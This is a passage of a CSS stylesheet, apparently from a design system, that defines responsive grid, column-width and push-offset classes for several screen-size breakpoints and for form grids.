      .vl-grid--is-stacked {
        row-gap: 3rem
      }

      .vl-push--reset {
        margin-left: 0
      }

      .vl-push--1-12 {
        margin-left: 8.3333333333%
      }

      .vl-push--1-6,
      .vl-push--2-12 {
        margin-left: 16.6666666667%
      }

      .vl-push--1-4,
      .vl-push--3-12 {
        margin-left: 25%
      }

      .vl-push--1-3,
      .vl-push--2-6,
      .vl-push--4-12 {
        margin-left: 33.3333333333%
      }

      .vl-push--5-12 {
        margin-left: 41.6666666667%
      }

      .vl-push--1-2,
      .vl-push--2-4,
      .vl-push--3-6,
      .vl-push--6-12 {
        margin-left: 50%
      }

      .vl-push--7-12 {
        margin-left: 58.3333333333%
      }

      .vl-push--2-3,
      .vl-push--4-6,
      .vl-push--8-12 {
        margin-left: 66.6666666667%
      }

      .vl-push--3-4,
      .vl-push--9-12 {
        margin-left: 75%
      }

      .vl-push--10-12,
      .vl-push--5-6 {
        margin-left: 83.3333333333%
      }

      .vl-push--11-12 {
        margin-left: 91.6666666667%
      }

      .vl-col--omega {
        margin-left: auto
      }

      @media screen and (min-width:1024px) {
        .vl-grid {
          display: flex;
          flex: 0 1 auto;
          flex-direction: row;
          flex-wrap: wrap;
          margin-left: -3rem
        }

        .vl-grid,
        .vl-grid>* {
          box-sizing: border-box;
          position: relative
        }

        .vl-grid>* {
          padding-left: 3rem
        }

        .vl-grid--no-gutter--l {
          margin-left: 0
        }

        .vl-grid--no-gutter--l>* {
          padding-left: 0
        }

        .vl-grid--v-top--l {
          align-items: flex-start
        }

        .vl-grid--v-center--l {
          align-items: center
        }

        .vl-grid--v-bottom--l {
          align-items: flex-end
        }

        .vl-grid--v-baseline--l,
        .vl-grid--v-stretch--l {
          align-items: stretch
        }

        .vl-grid--align-start--l {
          justify-content: flex-start
        }

        .vl-grid--align-end--l {
          justify-content: flex-end
        }

        .vl-grid--align-center--l {
          justify-content: center
        }

        .vl-grid--align-space-between--l {
          justify-content: space-between
        }

        .vl-grid--align-space-around--l {
          justify-content: space-around
        }

        .vl-col--fit--l {
          flex: 1 0
        }

        .vl-col--flex--l {
          display: flex
        }

        .vl-col--1-12--l {
          flex-basis: 8.3333333333%;
          max-width: 8.3333333333%;
          min-width: 8.3333333333%
        }

        .vl-col--1-6--l,
        .vl-col--2-12--l {
          flex-basis: 16.6666666667%;
          max-width: 16.6666666667%;
          min-width: 16.6666666667%
        }

        .vl-col--1-4--l,
        .vl-col--3-12--l {
          flex-basis: 25%;
          max-width: 25%;
          min-width: 25%
        }

        .vl-col--1-3--l,
        .vl-col--2-6--l,
        .vl-col--4-12--l {
          flex-basis: 33.3333333333%;
          max-width: 33.3333333333%;
          min-width: 33.3333333333%
        }

        .vl-col--5-12--l {
          flex-basis: 41.6666666667%;
          max-width: 41.6666666667%;
          min-width: 41.6666666667%
        }

        .vl-col--1-2--l,
        .vl-col--2-4--l,
        .vl-col--3-6--l,
        .vl-col--6-12--l {
          flex-basis: 50%;
          max-width: 50%;
          min-width: 50%
        }

        .vl-col--7-12--l {
          flex-basis: 58.3333333333%;
          max-width: 58.3333333333%;
          min-width: 58.3333333333%
        }

        .vl-col--2-3--l,
        .vl-col--4-6--l,
        .vl-col--8-12--l {
          flex-basis: 66.6666666667%;
          max-width: 66.6666666667%;
          min-width: 66.6666666667%
        }

        .vl-col--3-4--l,
        .vl-col--9-12--l {
          flex-basis: 75%;
          max-width: 75%;
          min-width: 75%
        }

        .vl-col--10-12--l,
        .vl-col--5-6--l {
          flex-basis: 83.3333333333%;
          max-width: 83.3333333333%;
          min-width: 83.3333333333%
        }

        .vl-col--11-12--l {
          flex-basis: 91.6666666667%;
          max-width: 91.6666666667%;
          min-width: 91.6666666667%
        }

        .vl-col--1-1--l,
        .vl-col--12-12--l,
        .vl-col--2-2--l,
        .vl-col--3-3--l,
        .vl-col--4-4--l,
        .vl-col--6-6--l {
          flex-basis: 100%;
          max-width: 100%;
          min-width: 100%
        }

        .vl-grid--is-stacked {
          row-gap: 3rem
        }

        .vl-push--reset--l {
          margin-left: 0
        }

        .vl-push--1-12--l {
          margin-left: 8.3333333333%
        }

        .vl-push--1-6--l,
        .vl-push--2-12--l {
          margin-left: 16.6666666667%
        }

        .vl-push--1-4--l,
        .vl-push--3-12--l {
          margin-left: 25%
        }

        .vl-push--1-3--l,
        .vl-push--2-6--l,
        .vl-push--4-12--l {
          margin-left: 33.3333333333%
        }

        .vl-push--5-12--l {
          margin-left: 41.6666666667%
        }

        .vl-push--1-2--l,
        .vl-push--2-4--l,
        .vl-push--3-6--l,
        .vl-push--6-12--l {
          margin-left: 50%
        }

        .vl-push--7-12--l {
          margin-left: 58.3333333333%
        }

        .vl-push--2-3--l,
        .vl-push--4-6--l,
        .vl-push--8-12--l {
          margin-left: 66.6666666667%
        }

        .vl-push--3-4--l,
        .vl-push--9-12--l {
          margin-left: 75%
        }

        .vl-push--10-12--l,
        .vl-push--5-6--l {
          margin-left: 83.3333333333%
        }

        .vl-push--11-12--l {
          margin-left: 91.6666666667%
        }

        .vl-col--omega--l {
          margin-left: auto
        }
      }

      @media screen and (min-width:1601px) {
        .vl-grid {
          display: flex;
          flex: 0 1 auto;
          flex-direction: row;
          flex-wrap: wrap;
          margin-left: -3rem
        }

        .vl-grid,
        .vl-grid>* {
          box-sizing: border-box;
          position: relative
        }

        .vl-grid>* {
          padding-left: 3rem
        }

        .vl-grid--no-gutter--xl {
          margin-left: 0
        }

        .vl-grid--no-gutter--xl>* {
          padding-left: 0
        }

        .vl-grid--v-top--xl {
          align-items: flex-start
        }

        .vl-grid--v-center--xl {
          align-items: center
        }

        .vl-grid--v-bottom--xl {
          align-items: flex-end
        }

        .vl-grid--v-baseline--xl,
        .vl-grid--v-stretch--xl {
          align-items: stretch
        }

        .vl-grid--align-start--xl {
          justify-content: flex-start
        }

        .vl-grid--align-end--xl {
          justify-content: flex-end
        }

        .vl-grid--align-center--xl {
          justify-content: center
        }

        .vl-grid--align-space-between--xl {
          justify-content: space-between
        }

        .vl-grid--align-space-around--xl {
          justify-content: space-around
        }

        .vl-col--fit--xl {
          flex: 1 0
        }

        .vl-col--flex--xl {
          display: flex
        }

        .vl-col--1-12--xl {
          flex-basis: 8.3333333333%;
          max-width: 8.3333333333%;
          min-width: 8.3333333333%
        }

        .vl-col--1-6--xl,
        .vl-col--2-12--xl {
          flex-basis: 16.6666666667%;
          max-width: 16.6666666667%;
          min-width: 16.6666666667%
        }

        .vl-col--1-4--xl,
        .vl-col--3-12--xl {
          flex-basis: 25%;
          max-width: 25%;
          min-width: 25%
        }

        .vl-col--1-3--xl,
        .vl-col--2-6--xl,
        .vl-col--4-12--xl {
          flex-basis: 33.3333333333%;
          max-width: 33.3333333333%;
          min-width: 33.3333333333%
        }

        .vl-col--5-12--xl {
          flex-basis: 41.6666666667%;
          max-width: 41.6666666667%;
          min-width: 41.6666666667%
        }

        .vl-col--1-2--xl,
        .vl-col--2-4--xl,
        .vl-col--3-6--xl,
        .vl-col--6-12--xl {
          flex-basis: 50%;
          max-width: 50%;
          min-width: 50%
        }

        .vl-col--7-12--xl {
          flex-basis: 58.3333333333%;
          max-width: 58.3333333333%;
          min-width: 58.3333333333%
        }

        .vl-col--2-3--xl,
        .vl-col--4-6--xl,
        .vl-col--8-12--xl {
          flex-basis: 66.6666666667%;
          max-width: 66.6666666667%;
          min-width: 66.6666666667%
        }

        .vl-col--3-4--xl,
        .vl-col--9-12--xl {
          flex-basis: 75%;
          max-width: 75%;
          min-width: 75%
        }

        .vl-col--10-12--xl,
        .vl-col--5-6--xl {
          flex-basis: 83.3333333333%;
          max-width: 83.3333333333%;
          min-width: 83.3333333333%
        }

        .vl-col--11-12--xl {
          flex-basis: 91.6666666667%;
          max-width: 91.6666666667%;
          min-width: 91.6666666667%
        }

        .vl-col--1-1--xl,
        .vl-col--12-12--xl,
        .vl-col--2-2--xl,
        .vl-col--3-3--xl,
        .vl-col--4-4--xl,
        .vl-col--6-6--xl {
          flex-basis: 100%;
          max-width: 100%;
          min-width: 100%
        }

        .vl-grid--is-stacked {
          row-gap: 3rem
        }

        .vl-push--reset--xl {
          margin-left: 0
        }

        .vl-push--1-12--xl {
          margin-left: 8.3333333333%
        }

        .vl-push--1-6--xl,
        .vl-push--2-12--xl {
          margin-left: 16.6666666667%
        }

        .vl-push--1-4--xl,
        .vl-push--3-12--xl {
          margin-left: 25%
        }

        .vl-push--1-3--xl,
        .vl-push--2-6--xl,
        .vl-push--4-12--xl {
          margin-left: 33.3333333333%
        }

        .vl-push--5-12--xl {
          margin-left: 41.6666666667%
        }

        .vl-push--1-2--xl,
        .vl-push--2-4--xl,
        .vl-push--3-6--xl,
        .vl-push--6-12--xl {
          margin-left: 50%
        }

        .vl-push--7-12--xl {
          margin-left: 58.3333333333%
        }

        .vl-push--2-3--xl,
        .vl-push--4-6--xl,
        .vl-push--8-12--xl {
          margin-left: 66.6666666667%
        }

        .vl-push--3-4--xl,
        .vl-push--9-12--xl {
          margin-left: 75%
        }

        .vl-push--10-12--xl,
        .vl-push--5-6--xl {
          margin-left: 83.3333333333%
        }

        .vl-push--11-12--xl {
          margin-left: 91.6666666667%
        }

        .vl-col--omega--xl {
          margin-left: auto
        }
      }

      @media screen and (max-width:1023px) {
        .vl-grid {
          display: flex;
          flex: 0 1 auto;
          flex-direction: row;
          flex-wrap: wrap;
          margin-left: -3rem
        }

        .vl-grid,
        .vl-grid>* {
          box-sizing: border-box;
          position: relative
        }

        .vl-grid>* {
          padding-left: 3rem
        }

        .vl-grid--no-gutter--m {
          margin-left: 0
        }

        .vl-grid--no-gutter--m>* {
          padding-left: 0
        }

        .vl-grid--v-top--m {
          align-items: flex-start
        }

        .vl-grid--v-center--m {
          align-items: center
        }

        .vl-grid--v-bottom--m {
          align-items: flex-end
        }

        .vl-grid--v-baseline--m,
        .vl-grid--v-stretch--m {
          align-items: stretch
        }

        .vl-grid--align-start--m {
          justify-content: flex-start
        }

        .vl-grid--align-end--m {
          justify-content: flex-end
        }

        .vl-grid--align-center--m {
          justify-content: center
        }

        .vl-grid--align-space-between--m {
          justify-content: space-between
        }

        .vl-grid--align-space-around--m {
          justify-content: space-around
        }

        .vl-col--fit--m {
          flex: 1 0
        }

        .vl-col--flex--m {
          display: flex
        }

        .vl-col--1-12--m {
          flex-basis: 8.3333333333%;
          max-width: 8.3333333333%;
          min-width: 8.3333333333%
        }

        .vl-col--1-6--m,
        .vl-col--2-12--m {
          flex-basis: 16.6666666667%;
          max-width: 16.6666666667%;
          min-width: 16.6666666667%
        }

        .vl-col--1-4--m,
        .vl-col--3-12--m {
          flex-basis: 25%;
          max-width: 25%;
          min-width: 25%
        }

        .vl-col--1-3--m,
        .vl-col--2-6--m,
        .vl-col--4-12--m {
          flex-basis: 33.3333333333%;
          max-width: 33.3333333333%;
          min-width: 33.3333333333%
        }

        .vl-col--5-12--m {
          flex-basis: 41.6666666667%;
          max-width: 41.6666666667%;
          min-width: 41.6666666667%
        }

        .vl-col--1-2--m,
        .vl-col--2-4--m,
        .vl-col--3-6--m,
        .vl-col--6-12--m {
          flex-basis: 50%;
          max-width: 50%;
          min-width: 50%
        }

        .vl-col--7-12--m {
          flex-basis: 58.3333333333%;
          max-width: 58.3333333333%;
          min-width: 58.3333333333%
        }

        .vl-col--2-3--m,
        .vl-col--4-6--m,
        .vl-col--8-12--m {
          flex-basis: 66.6666666667%;
          max-width: 66.6666666667%;
          min-width: 66.6666666667%
        }

        .vl-col--3-4--m,
        .vl-col--9-12--m {
          flex-basis: 75%;
          max-width: 75%;
          min-width: 75%
        }

        .vl-col--10-12--m,
        .vl-col--5-6--m {
          flex-basis: 83.3333333333%;
          max-width: 83.3333333333%;
          min-width: 83.3333333333%
        }

        .vl-col--11-12--m {
          flex-basis: 91.6666666667%;
          max-width: 91.6666666667%;
          min-width: 91.6666666667%
        }

        .vl-col--1-1--m,
        .vl-col--12-12--m,
        .vl-col--2-2--m,
        .vl-col--3-3--m,
        .vl-col--4-4--m,
        .vl-col--6-6--m {
          flex-basis: 100%;
          max-width: 100%;
          min-width: 100%
        }

        .vl-grid--is-stacked {
          row-gap: 3rem
        }

        .vl-push--reset--m {
          margin-left: 0
        }

        .vl-push--1-12--m {
          margin-left: 8.3333333333%
        }

        .vl-push--1-6--m,
        .vl-push--2-12--m {
          margin-left: 16.6666666667%
        }

        .vl-push--1-4--m,
        .vl-push--3-12--m {
          margin-left: 25%
        }

        .vl-push--1-3--m,
        .vl-push--2-6--m,
        .vl-push--4-12--m {
          margin-left: 33.3333333333%
        }

        .vl-push--5-12--m {
          margin-left: 41.6666666667%
        }

        .vl-push--1-2--m,
        .vl-push--2-4--m,
        .vl-push--3-6--m,
        .vl-push--6-12--m {
          margin-left: 50%
        }

        .vl-push--7-12--m {
          margin-left: 58.3333333333%
        }

        .vl-push--2-3--m,
        .vl-push--4-6--m,
        .vl-push--8-12--m {
          margin-left: 66.6666666667%
        }

        .vl-push--3-4--m,
        .vl-push--9-12--m {
          margin-left: 75%
        }

        .vl-push--10-12--m,
        .vl-push--5-6--m {
          margin-left: 83.3333333333%
        }

        .vl-push--11-12--m {
          margin-left: 91.6666666667%
        }

        .vl-col--omega--m {
          margin-left: auto
        }
      }

      @media screen and (max-width:767px) {
        .vl-grid {
          display: flex;
          flex: 0 1 auto;
          flex-direction: row;
          flex-wrap: wrap;
          margin-left: -1.5rem
        }

        .vl-grid,
        .vl-grid>* {
          box-sizing: border-box;
          position: relative
        }

        .vl-grid>* {
          padding-left: 1.5rem
        }

        .vl-grid--no-gutter--s {
          margin-left: 0
        }

        .vl-grid--no-gutter--s>* {
          padding-left: 0
        }

        .vl-grid--v-top--s {
          align-items: flex-start
        }

        .vl-grid--v-center--s {
          align-items: center
        }

        .vl-grid--v-bottom--s {
          align-items: flex-end
        }

        .vl-grid--v-baseline--s,
        .vl-grid--v-stretch--s {
          align-items: stretch
        }

        .vl-grid--align-start--s {
          justify-content: flex-start
        }

        .vl-grid--align-end--s {
          justify-content: flex-end
        }

        .vl-grid--align-center--s {
          justify-content: center
        }

        .vl-grid--align-space-between--s {
          justify-content: space-between
        }

        .vl-grid--align-space-around--s {
          justify-content: space-around
        }

        .vl-col--fit--s {
          flex: 1 0
        }

        .vl-col--flex--s {
          display: flex
        }

        .vl-col--1-12--s {
          flex-basis: 8.3333333333%;
          max-width: 8.3333333333%;
          min-width: 8.3333333333%
        }

        .vl-col--1-6--s,
        .vl-col--2-12--s {
          flex-basis: 16.6666666667%;
          max-width: 16.6666666667%;
          min-width: 16.6666666667%
        }

        .vl-col--1-4--s,
        .vl-col--3-12--s {
          flex-basis: 25%;
          max-width: 25%;
          min-width: 25%
        }

        .vl-col--1-3--s,
        .vl-col--2-6--s,
        .vl-col--4-12--s {
          flex-basis: 33.3333333333%;
          max-width: 33.3333333333%;
          min-width: 33.3333333333%
        }

        .vl-col--5-12--s {
          flex-basis: 41.6666666667%;
          max-width: 41.6666666667%;
          min-width: 41.6666666667%
        }

        .vl-col--1-2--s,
        .vl-col--2-4--s,
        .vl-col--3-6--s,
        .vl-col--6-12--s {
          flex-basis: 50%;
          max-width: 50%;
          min-width: 50%
        }

        .vl-col--7-12--s {
          flex-basis: 58.3333333333%;
          max-width: 58.3333333333%;
          min-width: 58.3333333333%
        }

        .vl-col--2-3--s,
        .vl-col--4-6--s,
        .vl-col--8-12--s {
          flex-basis: 66.6666666667%;
          max-width: 66.6666666667%;
          min-width: 66.6666666667%
        }

        .vl-col--3-4--s,
        .vl-col--9-12--s {
          flex-basis: 75%;
          max-width: 75%;
          min-width: 75%
        }

        .vl-col--10-12--s,
        .vl-col--5-6--s {
          flex-basis: 83.3333333333%;
          max-width: 83.3333333333%;
          min-width: 83.3333333333%
        }

        .vl-col--11-12--s {
          flex-basis: 91.6666666667%;
          max-width: 91.6666666667%;
          min-width: 91.6666666667%
        }

        .vl-col--1-1--s,
        .vl-col--12-12--s,
        .vl-col--2-2--s,
        .vl-col--3-3--s,
        .vl-col--4-4--s,
        .vl-col--6-6--s {
          flex-basis: 100%;
          max-width: 100%;
          min-width: 100%
        }

        .vl-grid--is-stacked {
          row-gap: 1.5rem
        }

        .vl-push--reset--s {
          margin-left: 0
        }

        .vl-push--1-12--s {
          margin-left: 8.3333333333%
        }

        .vl-push--1-6--s,
        .vl-push--2-12--s {
          margin-left: 16.6666666667%
        }

        .vl-push--1-4--s,
        .vl-push--3-12--s {
          margin-left: 25%
        }

        .vl-push--1-3--s,
        .vl-push--2-6--s,
        .vl-push--4-12--s {
          margin-left: 33.3333333333%
        }

        .vl-push--5-12--s {
          margin-left: 41.6666666667%
        }

        .vl-push--1-2--s,
        .vl-push--2-4--s,
        .vl-push--3-6--s,
        .vl-push--6-12--s {
          margin-left: 50%
        }

        .vl-push--7-12--s {
          margin-left: 58.3333333333%
        }

        .vl-push--2-3--s,
        .vl-push--4-6--s,
        .vl-push--8-12--s {
          margin-left: 66.6666666667%
        }

        .vl-push--3-4--s,
        .vl-push--9-12--s {
          margin-left: 75%
        }

        .vl-push--10-12--s,
        .vl-push--5-6--s {
          margin-left: 83.3333333333%
        }

        .vl-push--11-12--s {
          margin-left: 91.6666666667%
        }

        .vl-col--omega--s {
          margin-left: auto
        }
      }

      @media screen and (max-width:500px) {
        .vl-grid {
          display: flex;
          flex: 0 1 auto;
          flex-direction: row;
          flex-wrap: wrap;
          margin-left: -1.5rem
        }

        .vl-grid,
        .vl-grid>* {
          box-sizing: border-box;
          position: relative
        }

        .vl-grid>* {
          padding-left: 1.5rem
        }

        .vl-grid--no-gutter--xs {
          margin-left: 0
        }

        .vl-grid--no-gutter--xs>* {
          padding-left: 0
        }

        .vl-grid--v-top--xs {
          align-items: flex-start
        }

        .vl-grid--v-center--xs {
          align-items: center
        }

        .vl-grid--v-bottom--xs {
          align-items: flex-end
        }

        .vl-grid--v-baseline--xs,
        .vl-grid--v-stretch--xs {
          align-items: stretch
        }

        .vl-grid--align-start--xs {
          justify-content: flex-start
        }

        .vl-grid--align-end--xs {
          justify-content: flex-end
        }

        .vl-grid--align-center--xs {
          justify-content: center
        }

        .vl-grid--align-space-between--xs {
          justify-content: space-between
        }

        .vl-grid--align-space-around--xs {
          justify-content: space-around
        }

        .vl-col--fit--xs {
          flex: 1 0
        }

        .vl-col--flex--xs {
          display: flex
        }

        .vl-col--1-12--xs {
          flex-basis: 8.3333333333%;
          max-width: 8.3333333333%;
          min-width: 8.3333333333%
        }

        .vl-col--1-6--xs,
        .vl-col--2-12--xs {
          flex-basis: 16.6666666667%;
          max-width: 16.6666666667%;
          min-width: 16.6666666667%
        }

        .vl-col--1-4--xs,
        .vl-col--3-12--xs {
          flex-basis: 25%;
          max-width: 25%;
          min-width: 25%
        }

        .vl-col--1-3--xs,
        .vl-col--2-6--xs,
        .vl-col--4-12--xs {
          flex-basis: 33.3333333333%;
          max-width: 33.3333333333%;
          min-width: 33.3333333333%
        }

        .vl-col--5-12--xs {
          flex-basis: 41.6666666667%;
          max-width: 41.6666666667%;
          min-width: 41.6666666667%
        }

        .vl-col--1-2--xs,
        .vl-col--2-4--xs,
        .vl-col--3-6--xs,
        .vl-col--6-12--xs {
          flex-basis: 50%;
          max-width: 50%;
          min-width: 50%
        }

        .vl-col--7-12--xs {
          flex-basis: 58.3333333333%;
          max-width: 58.3333333333%;
          min-width: 58.3333333333%
        }

        .vl-col--2-3--xs,
        .vl-col--4-6--xs,
        .vl-col--8-12--xs {
          flex-basis: 66.6666666667%;
          max-width: 66.6666666667%;
          min-width: 66.6666666667%
        }

        .vl-col--3-4--xs,
        .vl-col--9-12--xs {
          flex-basis: 75%;
          max-width: 75%;
          min-width: 75%
        }

        .vl-col--10-12--xs,
        .vl-col--5-6--xs {
          flex-basis: 83.3333333333%;
          max-width: 83.3333333333%;
          min-width: 83.3333333333%
        }

        .vl-col--11-12--xs {
          flex-basis: 91.6666666667%;
          max-width: 91.6666666667%;
          min-width: 91.6666666667%
        }

        .vl-col--1-1--xs,
        .vl-col--12-12--xs,
        .vl-col--2-2--xs,
        .vl-col--3-3--xs,
        .vl-col--4-4--xs,
        .vl-col--6-6--xs {
          flex-basis: 100%;
          max-width: 100%;
          min-width: 100%
        }

        .vl-grid--is-stacked {
          row-gap: 1.5rem
        }

        .vl-push--reset--xs {
          margin-left: 0
        }

        .vl-push--1-12--xs {
          margin-left: 8.3333333333%
        }

        .vl-push--1-6--xs,
        .vl-push--2-12--xs {
          margin-left: 16.6666666667%
        }

        .vl-push--1-4--xs,
        .vl-push--3-12--xs {
          margin-left: 25%
        }

        .vl-push--1-3--xs,
        .vl-push--2-6--xs,
        .vl-push--4-12--xs {
          margin-left: 33.3333333333%
        }

        .vl-push--5-12--xs {
          margin-left: 41.6666666667%
        }

        .vl-push--1-2--xs,
        .vl-push--2-4--xs,
        .vl-push--3-6--xs,
        .vl-push--6-12--xs {
          margin-left: 50%
        }

        .vl-push--7-12--xs {
          margin-left: 58.3333333333%
        }

        .vl-push--2-3--xs,
        .vl-push--4-6--xs,
        .vl-push--8-12--xs {
          margin-left: 66.6666666667%
        }

        .vl-push--3-4--xs,
        .vl-push--9-12--xs {
          margin-left: 75%
        }

        .vl-push--10-12--xs,
        .vl-push--5-6--xs {
          margin-left: 83.3333333333%
        }

        .vl-push--11-12--xs {
          margin-left: 91.6666666667%
        }

        .vl-col--omega--xs {
          margin-left: auto
        }
      }

      @media screen and (min-width:1280px) {
        .vl-grid--wide {
          margin-left: calc(-4.16667% - 3rem);
          margin-right: -4.1666666667%
        }
      }

      .vl-form-grid {
        display: flex;
        flex: 0 1 auto;
        flex-direction: row;
        flex-wrap: wrap;
        margin-left: -1.5rem
      }

      .vl-form-grid,
      .vl-form-grid>* {
        box-sizing: border-box;
        position: relative
      }

      .vl-form-grid>* {
        padding-left: 1.5rem
      }

      .vl-form-grid--no-gutter {
        margin-left: 0
      }

      .vl-form-grid--no-gutter>* {
        padding-left: 0
      }

      .vl-form-grid--v-top {
        align-items: flex-start
      }

      .vl-form-grid--v-center {
        align-items: center
      }

      .vl-form-grid--v-bottom {
        align-items: flex-end
      }

      .vl-form-grid--v-baseline,
      .vl-form-grid--v-stretch {
        align-items: stretch
      }

      .vl-form-grid--align-start {
        justify-content: flex-start
      }

      .vl-form-grid--align-end {
        justify-content: flex-end
      }

      .vl-form-grid--align-center {
        justify-content: center
      }

      .vl-form-grid--align-space-between {
        justify-content: space-between
      }

      .vl-form-grid--align-space-around {
        justify-content: space-around
      }

      .vl-form-col--fit {
        flex: 1 0
      }

      .vl-form-col--flex {
        display: flex
      }

      .vl-form-col--1-12 {
        flex-basis: 8.3333333333%;
        max-width: 8.3333333333%;
        min-width: 8.3333333333%
      }

      .vl-form-col--1-6,
      .vl-form-col--2-12 {
        flex-basis: 16.6666666667%;
        max-width: 16.6666666667%;
        min-width: 16.6666666667%
      }

      .vl-form-col--1-4,
      .vl-form-col--3-12 {
        flex-basis: 25%;
        max-width: 25%;
        min-width: 25%
      }

      .vl-form-col--1-3,
      .vl-form-col--2-6,
      .vl-form-col--4-12 {
        flex-basis: 33.3333333333%;
        max-width: 33.3333333333%;
        min-width: 33.3333333333%
      }

      .vl-form-col--5-12 {
        flex-basis: 41.6666666667%;
        max-width: 41.6666666667%;
        min-width: 41.6666666667%
      }

      .vl-form-col--1-2,
      .vl-form-col--2-4,
      .vl-form-col--3-6,
      .vl-form-col--6-12 {
        flex-basis: 50%;
        max-width: 50%;
        min-width: 50%
      }

      .vl-form-col--7-12 {
        flex-basis: 58.3333333333%;
        max-width: 58.3333333333%;
        min-width: 58.3333333333%
      }

      .vl-form-col--2-3,
      .vl-form-col--4-6,
      .vl-form-col--8-12 {
        flex-basis: 66.6666666667%;
        max-width: 66.6666666667%;
        min-width: 66.6666666667%
      }

      .vl-form-col--3-4,
      .vl-form-col--9-12 {
        flex-basis: 75%;
        max-width: 75%;
        min-width: 75%
      }

      .vl-form-col--10-12,
      .vl-form-col--5-6 {
        flex-basis: 83.3333333333%;
        max-width: 83.3333333333%;
        min-width: 83.3333333333%
      }

      .vl-form-col--11-12 {
        flex-basis: 91.6666666667%;
        max-width: 91.6666666667%;
        min-width: 91.6666666667%
      }

      .vl-form-col--1-1,
      .vl-form-col--12-12,
      .vl-form-col--2-2,
      .vl-form-col--3-3,
      .vl-form-col--4-4,
      .vl-form-col--6-6 {
        flex-basis: 100%;
        max-width: 100%;
        min-width: 100%
      }

      .vl-form-grid--is-stacked {
        row-gap: 1.5rem
      }

      .vl-form-push--reset {
        margin-left: 0
      }

      .vl-form-push--1-12 {
        margin-left: 8.3333333333%
      }

      .vl-form-push--1-6,
      .vl-form-push--2-12 {
        margin-left: 16.6666666667%
      }

      .vl-form-push--1-4,
      .vl-form-push--3-12 {
        margin-left: 25%
      }

      .vl-form-push--1-3,
      .vl-form-push--2-6,
      .vl-form-push--4-12 {
        margin-left: 33.3333333333%
      }

      .vl-form-push--5-12 {
        margin-left: 41.6666666667%
      }

      .vl-form-push--1-2,
      .vl-form-push--2-4,
      .vl-form-push--3-6,
      .vl-form-push--6-12 {
        margin-left: 50%
      }

      .vl-form-push--7-12 {
        margin-left: 58.3333333333%
      }

      .vl-form-push--2-3,
      .vl-form-push--4-6,
      .vl-form-push--8-12 {
        margin-left: 66.6666666667%
      }

      .vl-form-push--3-4,
      .vl-form-push--9-12 {
        margin-left: 75%
      }

      .vl-form-push--10-12,
      .vl-form-push--5-6 {
        margin-left: 83.3333333333%
      }

      .vl-form-push--11-12 {
        margin-left: 91.6666666667%
      }

      .vl-form-col--omega {
        margin-left: auto
      }

      @media screen and (max-width:767px) {
        .vl-form-grid {
          display: flex;
          flex: 0 1 auto;
          flex-direction: row;
          flex-wrap: wrap;
          margin-left: -1.5rem
        }

        .vl-form-grid,
        .vl-form-grid>* {
          box-sizing: border-box;
          position: relative
        }

        .vl-form-grid>* {
          padding-left: 1.5rem
        }

        .vl-form-grid--no-gutter--s {
          margin-left: 0
        }

        .vl-form-grid--no-gutter--s>* {
          padding-left: 0
        }

        .vl-form-grid--v-top--s {
          align-items: flex-start
        }

        .vl-form-grid--v-center--s {
          align-items: center
        }

        .vl-form-grid--v-bottom--s {
          align-items: flex-end
        }

        .vl-form-grid--v-baseline--s,
        .vl-form-grid--v-stretch--s {
          align-items: stretch
        }

        .vl-form-grid--align-start--s {
          justify-content: flex-start
        }

        .vl-form-grid--align-end--s {
          justify-content: flex-end
        }

        .vl-form-grid--align-center--s {
          justify-content: center
        }

        .vl-form-grid--align-space-between--s {
          justify-content: space-between
        }

        .vl-form-grid--align-space-around--s {
          justify-content: space-around
        }

        .vl-form-col--fit--s {
          flex: 1 0
        }

        .vl-form-col--flex--s {
          display: flex
        }

        .vl-form-col--1-12--s {
          flex-basis: 8.3333333333%;
          max-width: 8.3333333333%;
          min-width: 8.3333333333%
        }

        .vl-form-col--1-6--s,
        .vl-form-col--2-12--s {
          flex-basis: 16.6666666667%;
          max-width: 16.6666666667%;
          min-width: 16.6666666667%
        }

        .vl-form-col--1-4--s,
        .vl-form-col--3-12--s {
          flex-basis: 25%;
          max-width: 25%;
          min-width: 25%
        }

        .vl-form-col--1-3--s,
        .vl-form-col--2-6--s,
        .vl-form-col--4-12--s {
          flex-basis: 33.3333333333%;
          max-width: 33.3333333333%;
          min-width: 33.3333333333%
        }

        .vl-form-col--5-12--s {
          flex-basis: 41.6666666667%;
          max-width: 41.6666666667%;
          min-width: 41.6666666667%
        }

        .vl-form-col--1-2--s,
        .vl-form-col--2-4--s,
        .vl-form-col--3-6--s,
        .vl-form-col--6-12--s {
          flex-basis: 50%;
          max-width: 50%;
          min-width: 50%
        }

        .vl-form-col--7-12--s {
          flex-basis: 58.3333333333%;
          max-width: 58.3333333333%;
          min-width: 58.3333333333%
        }

        .vl-form-col--2-3--s,
        .vl-form-col--4-6--s,
        .vl-form-col--8-12--s {
          flex-basis: 66.6666666667%;
          max-width: 66.6666666667%;
          min-width: 66.6666666667%
        }

        .vl-form-col--3-4--s,
        .vl-form-col--9-12--s {
          flex-basis: 75%;
          max-width: 75%;
          min-width: 75%
        }

        .vl-form-col--10-12--s,
        .vl-form-col--5-6--s {
          flex-basis: 83.3333333333%;
          max-width: 83.3333333333%;
          min-width: 83.3333333333%
        }

        .vl-form-col--11-12--s {
          flex-basis: 91.6666666667%;
          max-width: 91.6666666667%;
          min-width: 91.6666666667%
        }

        .vl-form-col--1-1--s,
        .vl-form-col--12-12--s,
        .vl-form-col--2-2--s,
        .vl-form-col--3-3--s,
        .vl-form-col--4-4--s,
        .vl-form-col--6-6--s {
          flex-basis: 100%;
          max-width: 100%;
          min-width: 100%
        }

        .vl-form-grid--is-stacked {
          row-gap: 1.5rem
        }

        .vl-form-push--reset--s {
          margin-left: 0
        }

        .vl-form-push--1-12--s {
          margin-left: 8.3333333333%
        }

        .vl-form-push--1-6--s,
        .vl-form-push--2-12--s {
          margin-left: 16.6666666667%
        }

        .vl-form-push--1-4--s,
        .vl-form-push--3-12--s {
          margin-left: 25%
        }

        .vl-form-push--1-3--s,
        .vl-form-push--2-6--s,
        .vl-form-push--4-12--s {
          margin-left: 33.3333333333%
        }

        .vl-form-push--5-12--s {
          margin-left: 41.6666666667%
        }

        .vl-form-push--1-2--s,
        .vl-form-push--2-4--s,
        .vl-form-push--3-6--s,
        .vl-form-push--6-12--s {
          margin-left: 50%
        }

        .vl-form-push--7-12--s {
          margin-left: 58.3333333333%
        }

        .vl-form-push--2-3--s,
        .vl-form-push--4-6--s,
        .vl-form-push--8-12--s {
          margin-left: 66.6666666667%
        }

        .vl-form-push--3-4--s,
        .vl-form-push--9-12--s {
          margin-left: 75%
        }

        .vl-form-push--10-12--s,
        .vl-form-push--5-6--s {
          margin-left: 83.3333333333%
